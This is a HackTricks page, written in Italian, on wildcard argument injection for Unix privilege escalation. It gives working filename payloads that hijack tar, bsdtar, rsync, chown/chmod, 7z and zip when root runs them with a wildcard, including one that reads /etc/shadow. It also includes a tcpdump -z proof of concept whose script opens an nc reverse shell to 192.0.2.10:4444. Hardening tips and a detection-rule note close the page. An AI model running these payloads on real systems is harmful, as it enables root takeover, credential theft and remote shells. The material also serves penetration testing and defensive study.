Wildcards Spare Tricks
Reading time: 8 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
L'iniezione di argomenti con caratteri jolly (noto anche come glob) si verifica quando uno script privilegiato esegue un binario Unix come
tar
,chown
,rsync
,zip
,7z
, … con un carattere jolly non quotato come*
. Poiché la shell espande il carattere jolly prima di eseguire il binario, un attaccante che può creare file nella directory di lavoro può creare nomi di file che iniziano con-
in modo che vengano interpretati come opzioni invece di dati, permettendo di contrabbandare flag arbitrari o persino comandi. Questa pagina raccoglie le primitive più utili, le ricerche recenti e le rilevazioni moderne per il 2023-2025.
chown / chmod
Puoi copiare il proprietario/gruppo o i bit di autorizzazione di un file arbitrario abusando del flag --reference
:
# attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
Quando root esegue successivamente qualcosa come:
chown -R alice:alice *.php
chmod -R 644 *.php
--reference=/root/secret``file
viene iniettato, causando che tutti i file corrispondenti ereditino la proprietà/permissi di /root/secret``file
.
PoC & tool: wildpwn
(attacco combinato).
Vedi anche il classico documento di DefenseCode per dettagli.
tar
GNU tar (Linux, *BSD, busybox-full)
Esegui comandi arbitrari abusando della funzionalità checkpoint:
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
Una volta che root esegue ad esempio tar -czf /root/backup.tgz *
, shell.sh
viene eseguito come root.
bsdtar / macOS 14+
Il tar
predefinito su macOS recenti (basato su libarchive
) non implementa --checkpoint
, ma puoi comunque ottenere l'esecuzione di codice con il flag --use-compress-program che ti consente di specificare un compressore esterno.
# macOS example
touch "--use-compress-program=/bin/sh"
Quando uno script con privilegi esegue tar -cf backup.tar *
, verrà avviato /bin/sh
.
rsync
rsync
ti consente di sovrascrivere la shell remota o persino il binario remoto tramite flag da riga di comando che iniziano con -e
o --rsync-path
:
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
Se l'utente root archivia successivamente la directory con rsync -az * backup:/srv/
, il flag iniettato genera la tua shell sul lato remoto.
PoC: wildpwn
(rsync
mode).
7-Zip / 7z / 7za
Anche quando lo script privilegiato difensivamente antepone il carattere jolly con --
(per fermare l'analisi delle opzioni), il formato 7-Zip supporta file di elenco file anteponendo il nome del file con @
. Combinando ciò con un symlink ti consente di esfiltrare file arbitrari:
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
Se root esegue qualcosa come:
7za a /backup/`date +%F`.7z -t7z -snl -- *
7-Zip tenterà di leggere root.txt
(→ /etc/shadow
) come un elenco di file e uscirà, stampando il contenuto su stderr.
zip
zip
supporta il flag --unzip-command
che viene passato verbatim alla shell di sistema quando l'archivio verrà testato:
zip result.zip files -T --unzip-command "sh -c id"
Injecta il flag tramite un nome file creato ad arte e attendi che lo script di backup privilegiato chiami zip -T
(testa archivio) sul file risultante.
Binaries aggiuntivi vulnerabili all'iniezione di wildcard (lista rapida 2023-2025)
I seguenti comandi sono stati abusati in CTF moderni e in ambienti reali. Il payload è sempre creato come un nome file all'interno di una directory scrivibile che sarà successivamente elaborata con un wildcard:
Binary | Flag da abusare | Effetto |
---|---|---|
bsdtar | --newer-mtime=@<epoch> → arbitrario @file | Leggi il contenuto del file |
flock | -c <cmd> | Esegui il comando |
git | -c core.sshCommand=<cmd> | Esecuzione del comando tramite git su SSH |
scp | -S <cmd> | Avvia un programma arbitrario invece di ssh |
Queste primitive sono meno comuni rispetto ai classici tar/rsync/zip ma vale la pena controllarle durante la ricerca.
ganci di rotazione tcpdump (-G/-W/-z): RCE tramite iniezione argv nei wrapper
Quando una shell ristretta o un wrapper del fornitore costruisce una riga di comando tcpdump
concatenando campi controllati dall'utente (ad es., un parametro "nome file") senza una rigorosa citazione/validazione, puoi contrabbandare flag extra di tcpdump
. La combinazione di -G
(rotazione basata sul tempo), -W
(limita il numero di file) e -z <cmd>
(comando post-rotazione) consente l'esecuzione arbitraria di comandi come l'utente che esegue tcpdump (spesso root su dispositivi).
Precondizioni:
- Puoi influenzare
argv
passato atcpdump
(ad es., tramite un wrapper come/debug/tcpdump --filter=... --file-name=<HERE>
). - Il wrapper non sanifica spazi o token con prefisso
-
nel campo del nome file.
PoC classica (esegue uno script di reverse shell da un percorso scrivibile):
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
Dettagli:
-G 1 -W 1
forza una rotazione immediata dopo il primo pacchetto corrispondente.-z <cmd>
esegue il comando post-rotazione una volta per rotazione. Molte build eseguono<cmd> <savefile>
. Se<cmd>
è uno script/interprete, assicurati che la gestione degli argomenti corrisponda al tuo payload.
Varianti senza supporto rimovibile:
- Se hai un altro primitivo per scrivere file (ad es., un wrapper di comando separato che consente la redirezione dell'output), inserisci il tuo script in un percorso noto e attiva
-z /bin/sh /path/script.sh
o-z /path/script.sh
a seconda della semantica della piattaforma. - Alcuni wrapper dei fornitori ruotano verso posizioni controllabili dall'attaccante. Se puoi influenzare il percorso ruotato (symlink/traversal di directory), puoi indirizzare
-z
per eseguire contenuti che controlli completamente senza media esterni.
Suggerimenti per il rafforzamento per i fornitori:
- Non passare mai stringhe controllate dall'utente direttamente a
tcpdump
(o a qualsiasi strumento) senza liste di autorizzazione rigorose. Cita e valida. - Non esporre la funzionalità
-z
nei wrapper; esegui tcpdump con un modello fisso sicuro e vieta completamente flag aggiuntivi. - Riduci i privilegi di tcpdump (solo cap_net_admin/cap_net_raw) o esegui sotto un utente non privilegiato dedicato con confinamento AppArmor/SELinux.
Rilevamento e Rafforzamento
- Disabilita la globbing della shell negli script critici:
set -f
(set -o noglob
) previene l'espansione dei caratteri jolly. - Cita o scappa gli argomenti:
tar -czf "$dst" -- *
non è sicuro — preferiscifind . -type f -print0 | xargs -0 tar -czf "$dst"
. - Percorsi espliciti: Usa
/var/www/html/*.log
invece di*
in modo che gli attaccanti non possano creare file fratelli che iniziano con-
. - Minimo privilegio: Esegui lavori di backup/manutenzione come un account di servizio non privilegiato invece di root quando possibile.
- Monitoraggio: La regola predefinita di Elastic Potential Shell via Wildcard Injection cerca
tar --checkpoint=*
,rsync -e*
, ozip --unzip-command
immediatamente seguito da un processo figlio della shell. La query EQL può essere adattata per altri EDR.
Riferimenti
- Elastic Security – Regola rilevata Potenziale Shell tramite Wildcard Injection (ultimo aggiornamento 2025)
- Rutger Flohil – “macOS — Tar wildcard injection” (18 dicembre 2024)
- GTFOBins – tcpdump
- FiberGateway GR241AG – Full Exploit Chain
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.